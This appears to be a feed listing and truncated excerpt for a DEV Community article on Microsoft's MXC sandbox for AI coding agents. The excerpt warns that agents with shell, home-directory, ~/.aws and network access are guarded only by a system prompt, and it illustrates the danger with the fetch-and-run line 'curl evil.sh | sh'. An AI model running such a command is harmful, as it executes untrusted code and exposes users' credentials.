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Microsoft Just Shipped an AI Agent Sandbox (MXC). Here's What's Real and What's 1.0 in Name Only

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Your coding agent has a shell, your home directory, your ~/.aws folder, and an open network connection. The only thing between it and curl evil.sh | sh is a system prompt that says "please don't." That's the state of AI agent security in most setups. On October 7, Microsoft shipped something to cha…

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  1. 2026-10-11 09:02 · DEV Community — AI
    Microsoft Just Shipped an AI Agent Sandbox (MXC). Here's What's Real and What's 1.0 in Name Only

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